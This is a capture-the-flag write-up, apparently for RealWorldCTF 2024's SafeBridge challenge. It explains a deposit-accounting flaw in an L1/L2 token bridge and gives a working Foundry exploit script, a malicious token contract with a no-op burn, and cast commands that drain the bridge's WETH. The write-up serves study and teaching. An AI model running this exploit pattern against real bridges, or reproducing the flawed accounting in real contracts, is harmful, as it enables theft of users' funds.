Skip to content

Instantly share code, notes, and snippets.

@farazsth98
Last active January 30, 2024 21:17
Show Gist options
  • Save farazsth98/4d60eb34e73f9b8027e38e1744ada778 to your computer and use it in GitHub Desktop.
Save farazsth98/4d60eb34e73f9b8027e38e1744ada778 to your computer and use it in GitHub Desktop.
SafeBridge Writeup: See 1-writeup.md for short description of the bug and attack path.

TL;DR

All challenge files + exploit can be found here: https://github.com/farazsth98/CTF/tree/master/realworldctf-2024/safebridge

The setup of the challenge is as follows:

  1. Two bridge contracts deployed on L1 and L2.
  2. WETH is deployed on L2 at hardcoded address L2_WETH.
  3. The deployer has already transferred 2 WETH from L1 to L2, so the L1 bridge has 2 WETH in it.
  4. The objective is to drain the L1 bridge.

To run the exploit, just place the SafeBridgeExploit.s.sol script into a foundry project's script/ directory, and the L2MaliciousToken.sol contract into the src/ directory.

Then, set up the l1 and l2 rpc urls in foundry.toml (see foundry docs, rpcs are provided by the challenge).

Then run forge script script/SafeBridgeExploit.s.sol --broadcast.

After that, run the two cast commands at the bottom of the SafeBridgeExploit.s.sol script (see the comments).

Finally, just get the flag.

The Bug

The bug is in the L1ERC20Bridge contract. In the _initiateERC20Deposit() function, all arguments except _from are controlled. Can you spot it?

function _initiateERC20Deposit(address _l1Token, address _l2Token, address _from, address _to, uint256 _amount)
    internal
{
    IERC20(_l1Token).safeTransferFrom(_from, address(this), _amount);

    bytes memory message;
    if (_l1Token == weth) {
        message = abi.encodeWithSelector(
            IL2ERC20Bridge.finalizeDeposit.selector, address(0), Lib_PredeployAddresses.L2_WETH, _from, _to, _amount
        );
    } else {
        message =
            abi.encodeWithSelector(IL2ERC20Bridge.finalizeDeposit.selector, _l1Token, _l2Token, _from, _to, _amount);
    }

    sendCrossDomainMessage(l2TokenBridge, message);
    deposits[_l1Token][_l2Token] = deposits[_l1Token][_l2Token] + _amount;

    emit ERC20DepositInitiated(_l1Token, _l2Token, _from, _to, _amount);
}

NOTE: Both bridge contracts are added to this gist so you can view them yourself.

When _l1Token is equal to weth's address, the function will send a cross-chain message to call finalizeDeposit() on the L2ERC20Bridge contract, with the _l2Token address set to the L2_WETH address.

However, when saving the deposit in the deposits mapping, it uses the user-controlled _l2Token address instead, so by setting _l1Token == weth and _l2Token == L2MaliciousToken_address (see L2MaliciousToken.sol in this gist), an attacker can make a deposit into their malicious token and still receive WETH since the message hardcodes L2_WETH address. If the address wasn't hardcoded, the attacker would simply receive their malicious token instead.

Subsequently, the attacker can transfer back the WETH by specifying _l2Token as the malicious token contract, as long as the malicious token's l1Token() function returns the L1 weth address. This will also preserve the WETH they received on L2 because calling the burn() function on L2MaliciousToken doesn't do anything.

So the attack path is as follows:

  1. Deploy L2MaliciousToken onto the L2 chain. Set the l1Token() function to return the address of the weth contract on L1.
  2. Bridge 2 WETH to the L2 chain, specifying _l2Token address as the malicious token address on L2.
  3. Bridge the malicious token back from L2 to L1.
  • Since l1Token() function returns L1 weth address, and because a 2 WETH deposit was made, this will succeed, but the attacker will still keep their 2 WETH on the L2 chain.
  1. Bridge the 2 WETH the attacker has on the L2, but legitimately using the L2_WETH contract.

That will drain the bridge successfully.

pragma solidity ^0.8.20;
import {Script} from "forge-std/Script.sol";
import "src/L2MaliciousToken.sol";
import "forge-std/console.sol";
interface IChallenge {
function WETH() external view returns (address);
function BRIDGE() external view returns (address);
}
interface WETH {
function deposit() external payable;
function approve(address, uint256) external;
}
interface L1Bridge {
function depositERC20(address _l1Token, address _l2Token, uint256 _amount) external;
}
interface L2Bridge {
function withdraw(address _l2Token, uint256 _amount) external;
}
contract ExploitL1 is Script {
function setUp() public {}
function run() public {
// Fill these addresses from the challenge instance
IChallenge challenge = IChallenge(0x56Fa2F4f56275473F8acf513721e3b2717dC2035);
uint256 priv_key = 0xd66afa7021a387f7629292713d492a083cf8efebab8d00d8dc3ed373db0220af;
// Hardcoded, see Lib_PredeployAddresses.sol
L2Bridge l2Bridge = L2Bridge(0x420000000000000000000000000000000000baBe);
// Get addresses
vm.createSelectFork("l1");
vm.startBroadcast(priv_key);
WETH weth = WETH(challenge.WETH());
L1Bridge l1Bridge = L1Bridge(challenge.BRIDGE());
L2MaliciousToken malToken;
// Deploy malicious token on L2
vm.stopBroadcast();
vm.createSelectFork("l2");
vm.startBroadcast(priv_key);
malToken = new L2MaliciousToken();
malToken.setL1Weth(address(weth));
console.log("L1 WETH: ", address(weth));
console.log("L1 Bridge: ", address(l1Bridge));
console.log("L2 Malicious Token: ", address(malToken));
// Send 2 ether bridged over to the malicious token contract on L2
vm.stopBroadcast();
vm.createSelectFork("l1");
vm.startBroadcast(priv_key);
weth.deposit{value: 2 ether}();
weth.approve(address(l1Bridge), type(uint256).max);
l1Bridge.depositERC20(address(weth), address(malToken), 2 ether);
vm.stopBroadcast();
// Now, just manually run the following, and then get the flag:
//
// $ cast send --rpc-url l2 --private-key $PRIV_KEY 0x420000000000000000000000000000000000baBe "withdraw(address,uint256)" $malToken 2000000000000000000
//
// $ cast send --rpc-url l2 --private-key $PRIV_KEY 0x420000000000000000000000000000000000baBe "withdraw(address,uint256)" 0xDeadDeAddeAddEAddeadDEaDDEAdDeaDDeAD0000 2000000000000000000
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract L2MaliciousToken {
address l1Weth;
function l1Token() external view returns (address) {
return l1Weth;
}
function setL1Weth(address weth) external {
l1Weth = weth;
}
function burn(address, uint256) external {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {IL1ERC20Bridge} from "./IL1ERC20Bridge.sol";
import {IL2ERC20Bridge} from "../L2/IL2ERC20Bridge.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {CrossDomainEnabled} from "../libraries/bridge/CrossDomainEnabled.sol";
import {Lib_PredeployAddresses} from "../libraries/constants/Lib_PredeployAddresses.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/**
* @title L1ERC20Bridge
* @dev The L1 ERC20 Bridge is a contract which stores deposited L1 funds and standard
* tokens that are in use on L2. It synchronizes a corresponding L2 Bridge, informing it of deposits
* and listening to it for newly finalized withdrawals.
*
*/
contract L1ERC20Bridge is IL1ERC20Bridge, CrossDomainEnabled {
using SafeERC20 for IERC20;
address public l2TokenBridge;
address public weth;
// Maps L1 token to L2 token to balance of the L1 token deposited
mapping(address => mapping(address => uint256)) public deposits;
constructor(address _l1messenger, address _l2TokenBridge, address _weth) CrossDomainEnabled(_l1messenger) {
l2TokenBridge = _l2TokenBridge;
weth = _weth;
}
/**
* @inheritdoc IL1ERC20Bridge
*/
function depositERC20(address _l1Token, address _l2Token, uint256 _amount) external virtual {
_initiateERC20Deposit(_l1Token, _l2Token, msg.sender, msg.sender, _amount);
}
/**
* @inheritdoc IL1ERC20Bridge
*/
function depositERC20To(address _l1Token, address _l2Token, address _to, uint256 _amount) external virtual {
_initiateERC20Deposit(_l1Token, _l2Token, msg.sender, _to, _amount);
}
function _initiateERC20Deposit(address _l1Token, address _l2Token, address _from, address _to, uint256 _amount)
internal
{
IERC20(_l1Token).safeTransferFrom(_from, address(this), _amount);
bytes memory message;
if (_l1Token == weth) {
message = abi.encodeWithSelector(
IL2ERC20Bridge.finalizeDeposit.selector, address(0), Lib_PredeployAddresses.L2_WETH, _from, _to, _amount
);
} else {
message =
abi.encodeWithSelector(IL2ERC20Bridge.finalizeDeposit.selector, _l1Token, _l2Token, _from, _to, _amount);
}
sendCrossDomainMessage(l2TokenBridge, message);
deposits[_l1Token][_l2Token] = deposits[_l1Token][_l2Token] + _amount;
emit ERC20DepositInitiated(_l1Token, _l2Token, _from, _to, _amount);
}
/**
* @inheritdoc IL1ERC20Bridge
*/
function finalizeERC20Withdrawal(address _l1Token, address _l2Token, address _from, address _to, uint256 _amount)
public
onlyFromCrossDomainAccount(l2TokenBridge)
{
deposits[_l1Token][_l2Token] = deposits[_l1Token][_l2Token] - _amount;
IERC20(_l1Token).safeTransfer(_to, _amount);
emit ERC20WithdrawalFinalized(_l1Token, _l2Token, _from, _to, _amount);
}
/**
* @inheritdoc IL1ERC20Bridge
*/
function finalizeWethWithdrawal(address _from, address _to, uint256 _amount)
external
onlyFromCrossDomainAccount(l2TokenBridge)
{
finalizeERC20Withdrawal(weth, Lib_PredeployAddresses.L2_WETH, _from, _to, _amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {IL1ERC20Bridge} from "../L1/IL1ERC20Bridge.sol";
import {IL2ERC20Bridge} from "./IL2ERC20Bridge.sol";
import {ERC165Checker} from "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol";
import {CrossDomainEnabled} from "../libraries/bridge/CrossDomainEnabled.sol";
import {Lib_PredeployAddresses} from "../libraries/constants/Lib_PredeployAddresses.sol";
import {IL2StandardERC20} from "./standards/IL2StandardERC20.sol";
/**
* @title L2ERC20Bridge
* @dev The L2 Standard bridge is a contract which works together with the L1 Standard bridge to
* enable ETH and ERC20 transitions between L1 and L2.
* This contract acts as a minter for new tokens when it hears about deposits into the L1 Standard
* bridge.
* This contract also acts as a burner of the tokens intended for withdrawal, informing the L1
* bridge to release L1 funds.
*/
contract L2ERC20Bridge is IL2ERC20Bridge, CrossDomainEnabled {
address public l1TokenBridge;
constructor(address _l2messenger, address _l1TokenBridge) CrossDomainEnabled(_l2messenger) {
l1TokenBridge = _l1TokenBridge;
}
/**
* @inheritdoc IL2ERC20Bridge
*/
function withdraw(address _l2Token, uint256 _amount) external virtual {
_initiateWithdrawal(_l2Token, msg.sender, msg.sender, _amount);
}
/**
* @inheritdoc IL2ERC20Bridge
*/
function withdrawTo(address _l2Token, address _to, uint256 _amount) external virtual {
_initiateWithdrawal(_l2Token, msg.sender, _to, _amount);
}
function _initiateWithdrawal(address _l2Token, address _from, address _to, uint256 _amount) internal {
IL2StandardERC20(_l2Token).burn(msg.sender, _amount);
address l1Token = IL2StandardERC20(_l2Token).l1Token();
bytes memory message;
if (_l2Token == Lib_PredeployAddresses.L2_WETH) {
message = abi.encodeWithSelector(IL1ERC20Bridge.finalizeWethWithdrawal.selector, _from, _to, _amount);
} else {
message = abi.encodeWithSelector(
IL1ERC20Bridge.finalizeERC20Withdrawal.selector, l1Token, _l2Token, _from, _to, _amount
);
}
sendCrossDomainMessage(l1TokenBridge, message);
emit WithdrawalInitiated(l1Token, _l2Token, msg.sender, _to, _amount);
}
/**
* @inheritdoc IL2ERC20Bridge
*/
function finalizeDeposit(address _l1Token, address _l2Token, address _from, address _to, uint256 _amount)
external
virtual
onlyFromCrossDomainAccount(l1TokenBridge)
{
// Check the target token is compliant and
// verify the deposited token on L1 matches the L2 deposited token representation here
if (ERC165Checker.supportsInterface(_l2Token, 0x1d1d8b63) && _l1Token == IL2StandardERC20(_l2Token).l1Token()) {
IL2StandardERC20(_l2Token).mint(_to, _amount);
emit DepositFinalized(_l1Token, _l2Token, _from, _to, _amount);
} else {
emit DepositFailed(_l1Token, _l2Token, _from, _to, _amount);
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment